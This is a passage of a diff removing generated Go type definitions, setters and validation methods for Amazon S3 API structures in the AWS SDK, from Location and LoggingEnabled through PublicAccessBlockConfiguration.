s.Encryption != nil { - if err := s.Encryption.Validate(); err != nil { - invalidParams.AddNested("Encryption", err.(request.ErrInvalidParams)) - } - } - if s.Tagging != nil { - if err := s.Tagging.Validate(); err != nil { - invalidParams.AddNested("Tagging", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetAccessControlList sets the AccessControlList field's value. -func (s *Location) SetAccessControlList(v []*Grant) *Location { - s.AccessControlList = v - return s -} - -// SetBucketName sets the BucketName field's value. -func (s *Location) SetBucketName(v string) *Location { - s.BucketName = &v - return s -} - -// SetCannedACL sets the CannedACL field's value. -func (s *Location) SetCannedACL(v string) *Location { - s.CannedACL = &v - return s -} - -// SetEncryption sets the Encryption field's value. -func (s *Location) SetEncryption(v *Encryption) *Location { - s.Encryption = v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *Location) SetPrefix(v string) *Location { - s.Prefix = &v - return s -} - -// SetStorageClass sets the StorageClass field's value. -func (s *Location) SetStorageClass(v string) *Location { - s.StorageClass = &v - return s -} - -// SetTagging sets the Tagging field's value. -func (s *Location) SetTagging(v *Tagging) *Location { - s.Tagging = v - return s -} - -// SetUserMetadata sets the UserMetadata field's value. -func (s *Location) SetUserMetadata(v []*MetadataEntry) *Location { - s.UserMetadata = v - return s -} - -// Container for logging information. Presence of this element indicates that -// logging is enabled. Parameters TargetBucket and TargetPrefix are required -// in this case. -type LoggingEnabled struct { - _ struct{} `type:"structure"` - - // Specifies the bucket where you want Amazon S3 to store server access logs. - // You can have your logs delivered to any bucket that you own, including the - // same bucket that is being logged. You can also configure multiple buckets - // to deliver their logs to the same target bucket. In this case you should - // choose a different TargetPrefix for each source bucket so that the delivered - // log files can be distinguished by key. - // - // TargetBucket is a required field - TargetBucket *string `type:"string" required:"true"` - - TargetGrants []*TargetGrant `locationNameList:"Grant" type:"list"` - - // This element lets you specify a prefix for the keys that the log files will - // be stored under. - // - // TargetPrefix is a required field - TargetPrefix *string `type:"string" required:"true"` -} - -// String returns the string representation -func (s LoggingEnabled) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s LoggingEnabled) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *LoggingEnabled) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "LoggingEnabled"} - if s.TargetBucket == nil { - invalidParams.Add(request.NewErrParamRequired("TargetBucket")) - } - if s.TargetPrefix == nil { - invalidParams.Add(request.NewErrParamRequired("TargetPrefix")) - } - if s.TargetGrants != nil { - for i, v := range s.TargetGrants { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "TargetGrants", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetTargetBucket sets the TargetBucket field's value. -func (s *LoggingEnabled) SetTargetBucket(v string) *LoggingEnabled { - s.TargetBucket = &v - return s -} - -// SetTargetGrants sets the TargetGrants field's value. -func (s *LoggingEnabled) SetTargetGrants(v []*TargetGrant) *LoggingEnabled { - s.TargetGrants = v - return s -} - -// SetTargetPrefix sets the TargetPrefix field's value. -func (s *LoggingEnabled) SetTargetPrefix(v string) *LoggingEnabled { - s.TargetPrefix = &v - return s -} - -// A metadata key-value pair to store with an object. -type MetadataEntry struct { - _ struct{} `type:"structure"` - - Name *string `type:"string"` - - Value *string `type:"string"` -} - -// String returns the string representation -func (s MetadataEntry) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s MetadataEntry) GoString() string { - return s.String() -} - -// SetName sets the Name field's value. -func (s *MetadataEntry) SetName(v string) *MetadataEntry { - s.Name = &v - return s -} - -// SetValue sets the Value field's value. -func (s *MetadataEntry) SetValue(v string) *MetadataEntry { - s.Value = &v - return s -} - -type MetricsAndOperator struct { - _ struct{} `type:"structure"` - - // The prefix used when evaluating an AND predicate. - Prefix *string `type:"string"` - - // The list of tags used when evaluating an AND predicate. - Tags []*Tag `locationName:"Tag" locationNameList:"Tag" type:"list" flattened:"true"` -} - -// String returns the string representation -func (s MetricsAndOperator) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s MetricsAndOperator) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *MetricsAndOperator) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "MetricsAndOperator"} - if s.Tags != nil { - for i, v := range s.Tags { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "Tags", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetPrefix sets the Prefix field's value. -func (s *MetricsAndOperator) SetPrefix(v string) *MetricsAndOperator { - s.Prefix = &v - return s -} - -// SetTags sets the Tags field's value. -func (s *MetricsAndOperator) SetTags(v []*Tag) *MetricsAndOperator { - s.Tags = v - return s -} - -type MetricsConfiguration struct { - _ struct{} `type:"structure"` - - // Specifies a metrics configuration filter. The metrics configuration will - // only include objects that meet the filter's criteria. A filter must be a - // prefix, a tag, or a conjunction (MetricsAndOperator). - Filter *MetricsFilter `type:"structure"` - - // The ID used to identify the metrics configuration. - // - // Id is a required field - Id *string `type:"string" required:"true"` -} - -// String returns the string representation -func (s MetricsConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s MetricsConfiguration) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *MetricsConfiguration) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "MetricsConfiguration"} - if s.Id == nil { - invalidParams.Add(request.NewErrParamRequired("Id")) - } - if s.Filter != nil { - if err := s.Filter.Validate(); err != nil { - invalidParams.AddNested("Filter", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetFilter sets the Filter field's value. -func (s *MetricsConfiguration) SetFilter(v *MetricsFilter) *MetricsConfiguration { - s.Filter = v - return s -} - -// SetId sets the Id field's value. -func (s *MetricsConfiguration) SetId(v string) *MetricsConfiguration { - s.Id = &v - return s -} - -type MetricsFilter struct { - _ struct{} `type:"structure"` - - // A conjunction (logical AND) of predicates, which is used in evaluating a - // metrics filter. The operator must have at least two predicates, and an object - // must match all of the predicates in order for the filter to apply. - And *MetricsAndOperator `type:"structure"` - - // The prefix used when evaluating a metrics filter. - Prefix *string `type:"string"` - - // The tag used when evaluating a metrics filter. - Tag *Tag `type:"structure"` -} - -// String returns the string representation -func (s MetricsFilter) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s MetricsFilter) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *MetricsFilter) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "MetricsFilter"} - if s.And != nil { - if err := s.And.Validate(); err != nil { - invalidParams.AddNested("And", err.(request.ErrInvalidParams)) - } - } - if s.Tag != nil { - if err := s.Tag.Validate(); err != nil { - invalidParams.AddNested("Tag", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetAnd sets the And field's value. -func (s *MetricsFilter) SetAnd(v *MetricsAndOperator) *MetricsFilter { - s.And = v - return s -} - -// SetPrefix sets the Prefix field's value. -func (s *MetricsFilter) SetPrefix(v string) *MetricsFilter { - s.Prefix = &v - return s -} - -// SetTag sets the Tag field's value. -func (s *MetricsFilter) SetTag(v *Tag) *MetricsFilter { - s.Tag = v - return s -} - -type MultipartUpload struct { - _ struct{} `type:"structure"` - - // Date and time at which the multipart upload was initiated. - Initiated *time.Time `type:"timestamp"` - - // Identifies who initiated the multipart upload. - Initiator *Initiator `type:"structure"` - - // Key of the object for which the multipart upload was initiated. - Key *string `min:"1" type:"string"` - - Owner *Owner `type:"structure"` - - // The class of storage used to store the object. - StorageClass *string `type:"string" enum:"StorageClass"` - - // Upload ID that identifies the multipart upload. - UploadId *string `type:"string"` -} - -// String returns the string representation -func (s MultipartUpload) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s MultipartUpload) GoString() string { - return s.String() -} - -// SetInitiated sets the Initiated field's value. -func (s *MultipartUpload) SetInitiated(v time.Time) *MultipartUpload { - s.Initiated = &v - return s -} - -// SetInitiator sets the Initiator field's value. -func (s *MultipartUpload) SetInitiator(v *Initiator) *MultipartUpload { - s.Initiator = v - return s -} - -// SetKey sets the Key field's value. -func (s *MultipartUpload) SetKey(v string) *MultipartUpload { - s.Key = &v - return s -} - -// SetOwner sets the Owner field's value. -func (s *MultipartUpload) SetOwner(v *Owner) *MultipartUpload { - s.Owner = v - return s -} - -// SetStorageClass sets the StorageClass field's value. -func (s *MultipartUpload) SetStorageClass(v string) *MultipartUpload { - s.StorageClass = &v - return s -} - -// SetUploadId sets the UploadId field's value. -func (s *MultipartUpload) SetUploadId(v string) *MultipartUpload { - s.UploadId = &v - return s -} - -// Specifies when noncurrent object versions expire. Upon expiration, Amazon -// S3 permanently deletes the noncurrent object versions. You set this lifecycle -// configuration action on a bucket that has versioning enabled (or suspended) -// to request that Amazon S3 delete noncurrent object versions at a specific -// period in the object's lifetime. -type NoncurrentVersionExpiration struct { - _ struct{} `type:"structure"` - - // Specifies the number of days an object is noncurrent before Amazon S3 can - // perform the associated action. For information about the noncurrent days - // calculations, see How Amazon S3 Calculates When an Object Became Noncurrent - // (https://docs.aws.amazon.com/AmazonS3/latest/dev/intro-lifecycle-rules.html#non-current-days-calculations) - // in the Amazon Simple Storage Service Developer Guide. - NoncurrentDays *int64 `type:"integer"` -} - -// String returns the string representation -func (s NoncurrentVersionExpiration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s NoncurrentVersionExpiration) GoString() string { - return s.String() -} - -// SetNoncurrentDays sets the NoncurrentDays field's value. -func (s *NoncurrentVersionExpiration) SetNoncurrentDays(v int64) *NoncurrentVersionExpiration { - s.NoncurrentDays = &v - return s -} - -// Container for the transition rule that describes when noncurrent objects -// transition to the STANDARD_IA, ONEZONE_IA, INTELLIGENT_TIERING or GLACIER -// storage class. If your bucket is versioning-enabled (or versioning is suspended), -// you can set this action to request that Amazon S3 transition noncurrent object -// versions to the STANDARD_IA, ONEZONE_IA, INTELLIGENT_TIERING or GLACIER storage -// class at a specific period in the object's lifetime. -type NoncurrentVersionTransition struct { - _ struct{} `type:"structure"` - - // Specifies the number of days an object is noncurrent before Amazon S3 can - // perform the associated action. For information about the noncurrent days - // calculations, see How Amazon S3 Calculates When an Object Became Noncurrent - // (https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html) - // in the Amazon Simple Storage Service Developer Guide. - NoncurrentDays *int64 `type:"integer"` - - // The class of storage used to store the object. - StorageClass *string `type:"string" enum:"TransitionStorageClass"` -} - -// String returns the string representation -func (s NoncurrentVersionTransition) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s NoncurrentVersionTransition) GoString() string { - return s.String() -} - -// SetNoncurrentDays sets the NoncurrentDays field's value. -func (s *NoncurrentVersionTransition) SetNoncurrentDays(v int64) *NoncurrentVersionTransition { - s.NoncurrentDays = &v - return s -} - -// SetStorageClass sets the StorageClass field's value. -func (s *NoncurrentVersionTransition) SetStorageClass(v string) *NoncurrentVersionTransition { - s.StorageClass = &v - return s -} - -// A container for specifying the notification configuration of the bucket. -// If this element is empty, notifications are turned off for the bucket. -type NotificationConfiguration struct { - _ struct{} `type:"structure"` - - LambdaFunctionConfigurations []*LambdaFunctionConfiguration `locationName:"CloudFunctionConfiguration" type:"list" flattened:"true"` - - QueueConfigurations []*QueueConfiguration `locationName:"QueueConfiguration" type:"list" flattened:"true"` - - TopicConfigurations []*TopicConfiguration `locationName:"TopicConfiguration" type:"list" flattened:"true"` -} - -// String returns the string representation -func (s NotificationConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s NotificationConfiguration) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *NotificationConfiguration) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "NotificationConfiguration"} - if s.LambdaFunctionConfigurations != nil { - for i, v := range s.LambdaFunctionConfigurations { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "LambdaFunctionConfigurations", i), err.(request.ErrInvalidParams)) - } - } - } - if s.QueueConfigurations != nil { - for i, v := range s.QueueConfigurations { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "QueueConfigurations", i), err.(request.ErrInvalidParams)) - } - } - } - if s.TopicConfigurations != nil { - for i, v := range s.TopicConfigurations { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "TopicConfigurations", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetLambdaFunctionConfigurations sets the LambdaFunctionConfigurations field's value. -func (s *NotificationConfiguration) SetLambdaFunctionConfigurations(v []*LambdaFunctionConfiguration) *NotificationConfiguration { - s.LambdaFunctionConfigurations = v - return s -} - -// SetQueueConfigurations sets the QueueConfigurations field's value. -func (s *NotificationConfiguration) SetQueueConfigurations(v []*QueueConfiguration) *NotificationConfiguration { - s.QueueConfigurations = v - return s -} - -// SetTopicConfigurations sets the TopicConfigurations field's value. -func (s *NotificationConfiguration) SetTopicConfigurations(v []*TopicConfiguration) *NotificationConfiguration { - s.TopicConfigurations = v - return s -} - -type NotificationConfigurationDeprecated struct { - _ struct{} `type:"structure"` - - CloudFunctionConfiguration *CloudFunctionConfiguration `type:"structure"` - - QueueConfiguration *QueueConfigurationDeprecated `type:"structure"` - - TopicConfiguration *TopicConfigurationDeprecated `type:"structure"` -} - -// String returns the string representation -func (s NotificationConfigurationDeprecated) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s NotificationConfigurationDeprecated) GoString() string { - return s.String() -} - -// SetCloudFunctionConfiguration sets the CloudFunctionConfiguration field's value. -func (s *NotificationConfigurationDeprecated) SetCloudFunctionConfiguration(v *CloudFunctionConfiguration) *NotificationConfigurationDeprecated { - s.CloudFunctionConfiguration = v - return s -} - -// SetQueueConfiguration sets the QueueConfiguration field's value. -func (s *NotificationConfigurationDeprecated) SetQueueConfiguration(v *QueueConfigurationDeprecated) *NotificationConfigurationDeprecated { - s.QueueConfiguration = v - return s -} - -// SetTopicConfiguration sets the TopicConfiguration field's value. -func (s *NotificationConfigurationDeprecated) SetTopicConfiguration(v *TopicConfigurationDeprecated) *NotificationConfigurationDeprecated { - s.TopicConfiguration = v - return s -} - -// A container for object key name filtering rules. For information about key -// name filtering, see Configuring Event Notifications (https://docs.aws.amazon.com/AmazonS3/latest/dev/NotificationHowTo.html) -// in the Amazon Simple Storage Service Developer Guide. -type NotificationConfigurationFilter struct { - _ struct{} `type:"structure"` - - // A container for object key name prefix and suffix filtering rules. - Key *KeyFilter `locationName:"S3Key" type:"structure"` -} - -// String returns the string representation -func (s NotificationConfigurationFilter) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s NotificationConfigurationFilter) GoString() string { - return s.String() -} - -// SetKey sets the Key field's value. -func (s *NotificationConfigurationFilter) SetKey(v *KeyFilter) *NotificationConfigurationFilter { - s.Key = v - return s -} - -type Object struct { - _ struct{} `type:"structure"` - - ETag *string `type:"string"` - - Key *string `min:"1" type:"string"` - - LastModified *time.Time `type:"timestamp"` - - Owner *Owner `type:"structure"` - - Size *int64 `type:"integer"` - - // The class of storage used to store the object. - StorageClass *string `type:"string" enum:"ObjectStorageClass"` -} - -// String returns the string representation -func (s Object) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Object) GoString() string { - return s.String() -} - -// SetETag sets the ETag field's value. -func (s *Object) SetETag(v string) *Object { - s.ETag = &v - return s -} - -// SetKey sets the Key field's value. -func (s *Object) SetKey(v string) *Object { - s.Key = &v - return s -} - -// SetLastModified sets the LastModified field's value. -func (s *Object) SetLastModified(v time.Time) *Object { - s.LastModified = &v - return s -} - -// SetOwner sets the Owner field's value. -func (s *Object) SetOwner(v *Owner) *Object { - s.Owner = v - return s -} - -// SetSize sets the Size field's value. -func (s *Object) SetSize(v int64) *Object { - s.Size = &v - return s -} - -// SetStorageClass sets the StorageClass field's value. -func (s *Object) SetStorageClass(v string) *Object { - s.StorageClass = &v - return s -} - -type ObjectIdentifier struct { - _ struct{} `type:"structure"` - - // Key name of the object to delete. - // - // Key is a required field - Key *string `min:"1" type:"string" required:"true"` - - // VersionId for the specific version of the object to delete. - VersionId *string `type:"string"` -} - -// String returns the string representation -func (s ObjectIdentifier) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ObjectIdentifier) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ObjectIdentifier) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ObjectIdentifier"} - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetKey sets the Key field's value. -func (s *ObjectIdentifier) SetKey(v string) *ObjectIdentifier { - s.Key = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *ObjectIdentifier) SetVersionId(v string) *ObjectIdentifier { - s.VersionId = &v - return s -} - -// The container element for Object Lock configuration parameters. -type ObjectLockConfiguration struct { - _ struct{} `type:"structure"` - - // Indicates whether this bucket has an Object Lock configuration enabled. - ObjectLockEnabled *string `type:"string" enum:"ObjectLockEnabled"` - - // The Object Lock rule in place for the specified object. - Rule *ObjectLockRule `type:"structure"` -} - -// String returns the string representation -func (s ObjectLockConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ObjectLockConfiguration) GoString() string { - return s.String() -} - -// SetObjectLockEnabled sets the ObjectLockEnabled field's value. -func (s *ObjectLockConfiguration) SetObjectLockEnabled(v string) *ObjectLockConfiguration { - s.ObjectLockEnabled = &v - return s -} - -// SetRule sets the Rule field's value. -func (s *ObjectLockConfiguration) SetRule(v *ObjectLockRule) *ObjectLockConfiguration { - s.Rule = v - return s -} - -// A Legal Hold configuration for an object. -type ObjectLockLegalHold struct { - _ struct{} `type:"structure"` - - // Indicates whether the specified object has a Legal Hold in place. - Status *string `type:"string" enum:"ObjectLockLegalHoldStatus"` -} - -// String returns the string representation -func (s ObjectLockLegalHold) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ObjectLockLegalHold) GoString() string { - return s.String() -} - -// SetStatus sets the Status field's value. -func (s *ObjectLockLegalHold) SetStatus(v string) *ObjectLockLegalHold { - s.Status = &v - return s -} - -// A Retention configuration for an object. -type ObjectLockRetention struct { - _ struct{} `type:"structure"` - - // Indicates the Retention mode for the specified object. - Mode *string `type:"string" enum:"ObjectLockRetentionMode"` - - // The date on which this Object Lock Retention will expire. - RetainUntilDate *time.Time `type:"timestamp" timestampFormat:"iso8601"` -} - -// String returns the string representation -func (s ObjectLockRetention) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ObjectLockRetention) GoString() string { - return s.String() -} - -// SetMode sets the Mode field's value. -func (s *ObjectLockRetention) SetMode(v string) *ObjectLockRetention { - s.Mode = &v - return s -} - -// SetRetainUntilDate sets the RetainUntilDate field's value. -func (s *ObjectLockRetention) SetRetainUntilDate(v time.Time) *ObjectLockRetention { - s.RetainUntilDate = &v - return s -} - -// The container element for an Object Lock rule. -type ObjectLockRule struct { - _ struct{} `type:"structure"` - - // The default retention period that you want to apply to new objects placed - // in the specified bucket. - DefaultRetention *DefaultRetention `type:"structure"` -} - -// String returns the string representation -func (s ObjectLockRule) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ObjectLockRule) GoString() string { - return s.String() -} - -// SetDefaultRetention sets the DefaultRetention field's value. -func (s *ObjectLockRule) SetDefaultRetention(v *DefaultRetention) *ObjectLockRule { - s.DefaultRetention = v - return s -} - -type ObjectVersion struct { - _ struct{} `type:"structure"` - - ETag *string `type:"string"` - - // Specifies whether the object is (true) or is not (false) the latest version - // of an object. - IsLatest *bool `type:"boolean"` - - // The object key. - Key *string `min:"1" type:"string"` - - // Date and time the object was last modified. - LastModified *time.Time `type:"timestamp"` - - Owner *Owner `type:"structure"` - - // Size in bytes of the object. - Size *int64 `type:"integer"` - - // The class of storage used to store the object. - StorageClass *string `type:"string" enum:"ObjectVersionStorageClass"` - - // Version ID of an object. - VersionId *string `type:"string"` -} - -// String returns the string representation -func (s ObjectVersion) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ObjectVersion) GoString() string { - return s.String() -} - -// SetETag sets the ETag field's value. -func (s *ObjectVersion) SetETag(v string) *ObjectVersion { - s.ETag = &v - return s -} - -// SetIsLatest sets the IsLatest field's value. -func (s *ObjectVersion) SetIsLatest(v bool) *ObjectVersion { - s.IsLatest = &v - return s -} - -// SetKey sets the Key field's value. -func (s *ObjectVersion) SetKey(v string) *ObjectVersion { - s.Key = &v - return s -} - -// SetLastModified sets the LastModified field's value. -func (s *ObjectVersion) SetLastModified(v time.Time) *ObjectVersion { - s.LastModified = &v - return s -} - -// SetOwner sets the Owner field's value. -func (s *ObjectVersion) SetOwner(v *Owner) *ObjectVersion { - s.Owner = v - return s -} - -// SetSize sets the Size field's value. -func (s *ObjectVersion) SetSize(v int64) *ObjectVersion { - s.Size = &v - return s -} - -// SetStorageClass sets the StorageClass field's value. -func (s *ObjectVersion) SetStorageClass(v string) *ObjectVersion { - s.StorageClass = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *ObjectVersion) SetVersionId(v string) *ObjectVersion { - s.VersionId = &v - return s -} - -// Describes the location where the restore job's output is stored. -type OutputLocation struct { - _ struct{} `type:"structure"` - - // Describes an S3 location that will receive the results of the restore request. - S3 *Location `type:"structure"` -} - -// String returns the string representation -func (s OutputLocation) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s OutputLocation) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *OutputLocation) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "OutputLocation"} - if s.S3 != nil { - if err := s.S3.Validate(); err != nil { - invalidParams.AddNested("S3", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetS3 sets the S3 field's value. -func (s *OutputLocation) SetS3(v *Location) *OutputLocation { - s.S3 = v - return s -} - -// Describes how results of the Select job are serialized. -type OutputSerialization struct { - _ struct{} `type:"structure"` - - // Describes the serialization of CSV-encoded Select results. - CSV *CSVOutput `type:"structure"` - - // Specifies JSON as request's output serialization format. - JSON *JSONOutput `type:"structure"` -} - -// String returns the string representation -func (s OutputSerialization) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s OutputSerialization) GoString() string { - return s.String() -} - -// SetCSV sets the CSV field's value. -func (s *OutputSerialization) SetCSV(v *CSVOutput) *OutputSerialization { - s.CSV = v - return s -} - -// SetJSON sets the JSON field's value. -func (s *OutputSerialization) SetJSON(v *JSONOutput) *OutputSerialization { - s.JSON = v - return s -} - -type Owner struct { - _ struct{} `type:"structure"` - - DisplayName *string `type:"string"` - - ID *string `type:"string"` -} - -// String returns the string representation -func (s Owner) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Owner) GoString() string { - return s.String() -} - -// SetDisplayName sets the DisplayName field's value. -func (s *Owner) SetDisplayName(v string) *Owner { - s.DisplayName = &v - return s -} - -// SetID sets the ID field's value. -func (s *Owner) SetID(v string) *Owner { - s.ID = &v - return s -} - -type ParquetInput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s ParquetInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ParquetInput) GoString() string { - return s.String() -} - -type Part struct { - _ struct{} `type:"structure"` - - // Entity tag returned when the part was uploaded. - ETag *string `type:"string"` - - // Date and time at which the part was uploaded. - LastModified *time.Time `type:"timestamp"` - - // Part number identifying the part. This is a positive integer between 1 and - // 10,000. - PartNumber *int64 `type:"integer"` - - // Size in bytes of the uploaded part data. - Size *int64 `type:"integer"` -} - -// String returns the string representation -func (s Part) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Part) GoString() string { - return s.String() -} - -// SetETag sets the ETag field's value. -func (s *Part) SetETag(v string) *Part { - s.ETag = &v - return s -} - -// SetLastModified sets the LastModified field's value. -func (s *Part) SetLastModified(v time.Time) *Part { - s.LastModified = &v - return s -} - -// SetPartNumber sets the PartNumber field's value. -func (s *Part) SetPartNumber(v int64) *Part { - s.PartNumber = &v - return s -} - -// SetSize sets the Size field's value. -func (s *Part) SetSize(v int64) *Part { - s.Size = &v - return s -} - -// The container element for a bucket's policy status. -type PolicyStatus struct { - _ struct{} `type:"structure"` - - // The policy status for this bucket. TRUE indicates that this bucket is public. - // FALSE indicates that the bucket is not public. - IsPublic *bool `locationName:"IsPublic" type:"boolean"` -} - -// String returns the string representation -func (s PolicyStatus) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PolicyStatus) GoString() string { - return s.String() -} - -// SetIsPublic sets the IsPublic field's value. -func (s *PolicyStatus) SetIsPublic(v bool) *PolicyStatus { - s.IsPublic = &v - return s -} - -type Progress struct { - _ struct{} `type:"structure"` - - // The current number of uncompressed object bytes processed. - BytesProcessed *int64 `type:"long"` - - // The current number of bytes of records payload data returned. - BytesReturned *int64 `type:"long"` - - // The current number of object bytes scanned. - BytesScanned *int64 `type:"long"` -} - -// String returns the string representation -func (s Progress) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Progress) GoString() string { - return s.String() -} - -// SetBytesProcessed sets the BytesProcessed field's value. -func (s *Progress) SetBytesProcessed(v int64) *Progress { - s.BytesProcessed = &v - return s -} - -// SetBytesReturned sets the BytesReturned field's value. -func (s *Progress) SetBytesReturned(v int64) *Progress { - s.BytesReturned = &v - return s -} - -// SetBytesScanned sets the BytesScanned field's value. -func (s *Progress) SetBytesScanned(v int64) *Progress { - s.BytesScanned = &v - return s -} - -type ProgressEvent struct { - _ struct{} `locationName:"ProgressEvent" type:"structure" payload:"Details"` - - // The Progress event details. - Details *Progress `locationName:"Details" type:"structure"` -} - -// String returns the string representation -func (s ProgressEvent) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ProgressEvent) GoString() string { - return s.String() -} - -// SetDetails sets the Details field's value. -func (s *ProgressEvent) SetDetails(v *Progress) *ProgressEvent { - s.Details = v - return s -} - -// The ProgressEvent is and event in the SelectObjectContentEventStream group of events. -func (s *ProgressEvent) eventSelectObjectContentEventStream() {} - -// UnmarshalEvent unmarshals the EventStream Message into the ProgressEvent value. -// This method is only used internally within the SDK's EventStream handling. -func (s *ProgressEvent) UnmarshalEvent( - payloadUnmarshaler protocol.PayloadUnmarshaler, - msg eventstream.Message, -) error { - if err := payloadUnmarshaler.UnmarshalPayload( - bytes.NewReader(msg.Payload), s, - ); err != nil { - return err - } - return nil -} - -type PublicAccessBlockConfiguration struct { - _ struct{} `type:"structure"` - - // Specifies whether Amazon S3 should block public access control lists (ACLs) - // for this bucket and objects in this bucket. Setting this element to TRUE - // causes the following behavior: - // - // * PUT Bucket acl and PUT Object acl calls fail if the specified ACL is - // public. - // - // * PUT Object calls fail if the request includes a public ACL. - // - // Enabling this setting doesn't affect existing policies or ACLs. - BlockPublicAcls *bool `locationName:"BlockPublicAcls" type:"boolean"` - - // Specifies whether Amazon S3 should block public bucket policies for this - // bucket. Setting this element to TRUE causes Amazon S3 to reject calls to - // PUT Bucket policy if the specified bucket policy allows public access. - // - // Enabling this setting doesn't affect existing bucket policies. - BlockPublicPolicy *bool `locationName:"BlockPublicPolicy" type:"boolean"` - - // Specifies whether Amazon S3 should ignore public ACLs for this bucket and - // objects in this bucket. Setting this element to TRUE causes Amazon S3 to - // ignore all public ACLs on this bucket and objects in this bucket. - // - // Enabling this setting doesn't affect the persistence of any existing ACLs - // and doesn't prevent new public ACLs from being set. - IgnorePublicAcls *bool `locationName:"IgnorePublicAcls" type:"boolean"` - - // Specifies whether Amazon S3 should restrict public bucket policies for this - // bucket. Setting this element to TRUE restricts access to this bucket to only - // AWS services and authorized users within this account if the bucket has a - // public policy. - // - // Enabling this setting doesn't affect previously stored bucket policies, except - // that public and cross-account access within any public bucket policy, including - // non-public delegation to specific accounts, is blocked. - RestrictPublicBuckets *bool `locationName:"RestrictPublicBuckets" type:"boolean"` -} - -// String returns the string representation -func (s PublicAccessBlockConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s PublicAccessBlockConfiguration) GoString() string { - return s.String() -} - -// SetBlockPublicAcls sets the BlockPublicAcls field's value. -func (s *PublicAccessBlockConfiguration) SetBlockPublicAcls(v bool) *PublicAccessBlockConfiguration { - s.BlockPublicAcls = &v - return s -} - -// SetBlockPublicPolicy sets the BlockPublicPolicy field's value. -func (s *PublicAccessBlockConfiguration) SetBlockPublicPolicy(v bool) *PublicAccessBlockConfiguration { - s.BlockPublicPolicy = &v - return s -} - -// SetIgnorePublicAcls sets the IgnorePublicAcls field's value. -func (s *PublicAccessBlockConfiguration) SetIgnorePublicAcls(v bool) *PublicAccessBlockConfiguration { - s.IgnorePublicAcls = &v - return s -} - -// SetRestrictPublicBuckets sets the RestrictPublicBuckets field's value. -func (s *PublicAccessBlockConfiguration) SetRestrictPublicBuckets(v 